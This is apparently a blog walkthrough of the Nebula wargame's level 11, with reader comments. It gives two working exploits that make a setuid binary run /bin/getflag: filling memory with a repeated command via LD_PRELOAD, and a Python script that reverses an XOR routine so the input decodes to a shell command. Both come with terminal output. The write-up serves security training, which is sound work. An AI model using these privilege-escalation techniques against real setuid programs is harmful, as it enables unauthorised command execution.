In this level we have a series of checks, which we have to satisfy inorder to execute commands using system() function. There are two solutions and both are interesting.
main: if(length < sizeof(buf)) { if(fread(buf, length, 1, stdin) != length) { err(1, "fread length"); } process(buf, length);For the first solution we use Content-Length of 1 and use LD_PRELOAD to initialize buffer with the command to be executed.
level11@nebula:/home/flag11$ export LD_PRELOAD=`python -c 'print "\x0a/bin/getflag"*4000'` level11@nebula:/home/flag11$ level11@nebula:/home/flag11$ python -c 'print "Content-Length: 1\n"' | ./flag11 2>/dev/null ############################################################################### You have successfully executed getflag on a target account You have successfully executed getflag on a target account You have successfully executed getflag on a target account You have successfully executed getflag on a target account You have successfully executed getflag on a target account You have successfully executed getflag on a target account You have successfully executed getflag on a target account You have successfully executed getflag on a target account level11@nebula:/home/flag11$The second solution is to use Content-Length >= sizeof(buf). To execute desired command, we can build strings by reversing process() function.
void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } system(buffer); }Here is a small python code that builds string to execute desired command.
#!/usr/bin/env python #flag11.py command = "/bin/getflag\x00" length = 1024 key = length & 0xff enc = str() for i in xrange(len(command)): for j in xrange(256): if ((key ^ j) & 0xff ) == ord(command[i]): enc = enc + chr(j) key = (key - ord(command[i])) & 0xffffffff # unsigned int break junk = "A" * (length - len(command)) print "Content-Length: " + str(length) + "\n" + enc + junk
level11@nebula:/tmp$ export TEMP="/tmp" level11@nebula:/tmp$ python flag11.py | /home/flag11/flag11 blue = 1024, length = 1024, pink = 1024 You have successfully executed getflag on a target account
Hello Reno:
ReplyDeleteI've a question regarding the second method. I'm not a python expert and I've been trying to understand what you do with the flag11.py script. As far as I understood, it encodes every character from the command string and do an OR and an AND or something like that for every single ascii code. What is the purpose of that encoding?.
Regards
Sergio
Hello Fr0gl0gist,
DeleteI'm extremely sorry for the delayed reply, missed your comment. The reason for doing all those operations is that, before the call to system(buffer),the buffer itself is XOR'ed with some key. Hence we need to input a string, that after going through the XOR operations will result in a valid command string :)
Hi Reno
ReplyDeleteThanks for the sharing. This article is really helpful.
But I met a problem when solving this one, my /bin/getflag kept telling me that I am running a non-flag user. I googled about this and some said that it is bash-2 who drops privilege not the system() call itself, I am not sure if this is why I cannot passed this challenge, none of the solutions I have met mentioned about this problem.
I boot the nebula system directly from the liveCD in vmware, my /bin/sh is /bin/bash which is version 4, I am curious about that have your ever met the same problem with me? and what is your default bash's version in nebula's image
Thanks in advance
Hello JC Han,
DeleteI didn't face this problem when I worked on the challenge and I don't have the vm either.